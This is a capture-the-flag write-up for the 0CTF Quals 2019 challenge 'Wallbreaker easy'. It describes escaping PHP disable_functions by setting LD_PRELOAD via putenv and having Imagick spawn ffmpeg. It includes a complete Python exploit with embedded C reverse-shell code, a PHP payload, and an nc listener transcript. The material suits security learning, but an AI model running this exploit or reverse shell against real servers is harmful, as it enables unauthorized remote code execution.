hxp


0CTF Quals 2019: "Wallbreaker easy" writeup

When connecting to the given URL, we are provided with the following output:

Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: /var/www/html:/tmp/b6b320612bead18b3b67932f139fed1f
Hint: eval($_POST["backdoor"]);

phpinfo() reveals that the following functions are disabled:

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail

Note that putenv is not disabled.

Additionally we are “sandboxed” in a writeable basedir: open_basedir = /var/www/html:/tmp/d72b5811ef88951968907385db4599ac

As the challenge hints that the intented solution should be based on php-imagick we also have a look at its config:

imagick module version 	3.4.3RC2 
...
ImageMagick number of supported formats:  	220 

ImageMagick supported formats 	3FR, AAI, AI, ART, ARW, AVI, AVS, BGR, BGRA, BGRO, BIE, BMP, BMP2, BMP3, BRF, CAL, CALS, CANVAS, CAPTION, CIN, CIP, CLIP, CMYK, CMYKA, CR2, CRW, CUR, CUT, DATA, DCM, DCR, DCX, DDS, DFONT, DNG, DPX, DXT1, DXT5, EPDF, EPI, EPS, EPS2, EPS3, EPSF, EPSI, EPT, EPT2, EPT3, ERF, FAX, FILE, FITS, FRACTAL, FTP, FTS, G3, G4, GIF, GIF87, GRADIENT, GRAY, GROUP4, H, HALD, HDR, HISTOGRAM, HRZ, HTM, HTML, HTTP, HTTPS, ICB, ICO, ICON, IIQ, INFO, INLINE, IPL, ISOBRL, ISOBRL6, JBG, JBIG, JNG, JNX, JPE, JPEG, JPG, JPS, JSON, K25, KDC, LABEL, M2V, M4V, MAC, MAGICK, MAP, MASK, MAT, MATTE, MEF, MIFF, MKV, MNG, MONO, MOV, MP4, MPC, MPEG, MPG, MRW, MSL, MTV, MVG, NEF, NRW, NULL, ORF, OTB, OTF, PAL, PALM, PAM, PATTERN, PBM, PCD, PCDS, PCL, PCT, PCX, PDB, PDF, PDFA, PEF, PES, PFA, PFB, PFM, PGM, PICON, PICT, PIX, PJPEG, PLASMA, PNG, PNG00, PNG24, PNG32, PNG48, PNG64, PNG8, PNM, PPM, PREVIEW, PS, PS2, PS3, PSB, PSD, PTIF, PWP, RADIAL-GRADIENT, RAF, RAS, RAW, RGB, RGBA, RGBO, RGF, RLA, RLE, RMF, RW2, SCR, SCT, SFW, SGI, SHTML, SIX, SIXEL, SPARSE-COLOR, SR2, SRF, STEGANO, SUN, TEXT, TGA, THUMBNAIL, TIFF, TIFF64, TILE, TIM, TTC, TTF, TXT, UBRL, UBRL6, UIL, UYVY, VDA, VICAR, VID, VIFF, VIPS, VST, WBMP, WMV, WPG, X, X3F, XBM, XC, XCF, XPM, XPS, XV, XWD, YCbCr, YCbCrA, YUV 
````

It's visible that the SVG format is not available and that under Ubuntu-18.04 many ghostscript formats
are disabled in ``/etc/ImageMagick-6/policy.xml``:

```xml
<!-- disable ghostscript format types -->
<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="EPI" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />

We decided to poke around with file formats ImageMagick can read but for sure implements by calling external delegates (via execve).

File files seems to be a promising target:

$ strace -fi -e execve convert test.mpeg out.png
[00007f6514f18647] execve("/usr/bin/convert", ["convert", "test.mpeg", "out.png"], [/* 25 vars */]) = 0
strace: Process 4350 attached
[pid  4350] [00007f6e5aaf8647] execve("/bin/sh", ["sh", "-c", "'ffmpeg' -nostdin -v -1 -i '/tmp"...], [/* 25 vars */]) = 0
strace: Process 4351 attached
[pid  4351] [00007fc8f4b18647] execve("/usr/bin/ffmpeg", ["ffmpeg", "-nostdin", "-v", "-1", "-i", "/tmp/magick-4349DGSUOJxzoklJ", "-vframes", "2147483647", "-vcodec", "pam", "-an", "-f", "rawvideo", "-y", "/tmp/magick-4349oLhLxfW7jzlm.pam"], [/* 25 vars */]) = 0
...

So the final exploit plan is to LD_PRELOAD a so-file via putenv to get code execution.

Full exploit:

#!/usr/bin/env python3

# usage ./pwn.py IP

import requests, base64, os, sys


payload = r"""
// connect back shell
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "__IP__"
#define REMOTE_PORT 55555

__attribute__ ((__constructor__)) void preloadme (void)
{
    puts("started\n");
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
}
""".replace('__IP__', sys.argv[1])

with open('/tmp/pwn.c', 'w') as f:
    f.write(payload)

print('[+] compiling payload')
assert os.system('gcc -Wall -fPIC -shared -o /tmp/pwn.so /tmp/pwn.c') == 0

print('[+] triggering exploit')
r = requests.post('http://111.186.63.208:31340', data={
    'file': base64.b64encode(b'\x00\x00\x00\x01\xb3').decode(),  # MPEG sequence
    'pwn': base64.b64encode(open('/tmp/pwn.so', 'rb').read()).decode(),
    'backdoor' : """
error_reporting(E_ALL);
ini_set('display_errors', 1);

$b = explode(':', ini_get('open_basedir'))[1]; //get writable path
var_dump($b);

file_put_contents($b.'/out.mpeg',  base64_decode($_POST['file']));
file_put_contents($b."/pwn.so", base64_decode($_POST['pwn']));
var_dump(putenv("LD_PRELOAD=".$b."/pwn.so"));

$im = new imagick();
$im->readImage($b.'/out.mpeg'); 
$im->setImageFormat("png");
$im->writeImage($b."/foo.png");

echo 1336+1;
"""
})
print(r.text)
$ nc -l -v -p 55555
Listening on [0.0.0.0] (family 0, port 55555)
Connection from 111.186.63.208 42350 received!
/readflag
flag{PUTENVANDIMAGICKAREGOODFRIENDS}